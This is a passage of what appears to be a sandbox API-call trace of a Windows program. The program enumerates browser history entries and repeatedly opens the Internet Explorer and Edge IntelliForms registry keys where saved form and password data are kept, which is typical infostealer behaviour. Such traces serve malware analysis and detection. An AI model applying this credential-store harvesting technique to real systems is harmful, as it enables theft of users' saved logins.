6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.911] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/7jVJ4osGzJwCy_Y4s/MLfQNntPPK-Sym.gif") returned 91 [0056.911] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/7jVJ4osGzJwCy_Y4s/MLfQNntPPK-Sym.gif") returned 91 [0056.912] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.912] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.912] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.912] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.912] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.912] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.912] LocalFree (hMem=0x2edbb0) returned 0x0 [0056.912] CoTaskMemFree (pv=0x2d3138) [0056.912] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.912] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/gogo%20bcCuWmS%20g0QTi/ckA1aqPB%20jL.flv", lpSrch="?") returned 0x0 [0056.912] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.912] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2edbb0 [0056.912] lstrcpyA (in: lpString1=0x2edbb0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.912] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/gogo%20bcCuWmS%20g0QTi/ckA1aqPB%20jL.flv") returned 99 [0056.912] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/gogo%20bcCuWmS%20g0QTi/ckA1aqPB%20jL.flv") returned 99 [0056.912] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.912] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.913] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.913] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.913] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.913] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.913] LocalFree (hMem=0x2edbb0) returned 0x0 [0056.913] CoTaskMemFree (pv=0x2d52b8) [0056.913] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.913] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/0c6f.odp", lpSrch="?") returned 0x0 [0056.913] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.913] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2edd50 [0056.913] lstrcpyA (in: lpString1=0x2edd50, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.913] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/0c6f.odp") returned 58 [0056.913] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/0c6f.odp") returned 58 [0056.913] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.913] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.913] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.913] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.913] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.913] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.914] LocalFree (hMem=0x2edd50) returned 0x0 [0056.914] CoTaskMemFree (pv=0x2ea9b8) [0056.914] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.914] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/_yHpKvhu.mkv", lpSrch="?") returned 0x0 [0056.914] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.914] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2edf88 [0056.914] lstrcpyA (in: lpString1=0x2edf88, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.914] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/_yHpKvhu.mkv") returned 54 [0056.914] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/_yHpKvhu.mkv") returned 54 [0056.914] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.914] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.914] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.914] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.914] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.914] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.914] LocalFree (hMem=0x2edf88) returned 0x0 [0056.914] CoTaskMemFree (pv=0x2edf10) [0056.914] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.914] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/j_4Mj.bmp", lpSrch="?") returned 0x0 [0056.914] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.914] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2ee368 [0056.914] lstrcpyA (in: lpString1=0x2ee368, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.915] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/j_4Mj.bmp") returned 85 [0056.915] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/j_4Mj.bmp") returned 85 [0056.915] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.915] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.915] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.915] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.915] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.915] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.915] LocalFree (hMem=0x2ee368) returned 0x0 [0056.915] CoTaskMemFree (pv=0x2ee2b0) [0056.915] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.915] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/P2nPOOtZM2KL.csv", lpSrch="?") returned 0x0 [0056.915] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.915] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2ee2b0 [0056.915] lstrcpyA (in: lpString1=0x2ee2b0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.915] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/P2nPOOtZM2KL.csv") returned 66 [0056.915] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/P2nPOOtZM2KL.csv") returned 66 [0056.915] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.915] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.916] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.916] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.916] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.916] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.916] LocalFree (hMem=0x2ee2b0) returned 0x0 [0056.916] CoTaskMemFree (pv=0x2e90a8) [0056.916] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.916] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ct1A.pptx", lpSrch="?") returned 0x0 [0056.916] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.916] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2ee380 [0056.916] lstrcpyA (in: lpString1=0x2ee380, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.916] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ct1A.pptx") returned 53 [0056.916] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ct1A.pptx") returned 53 [0056.916] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.916] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.916] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.917] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.917] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.917] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, 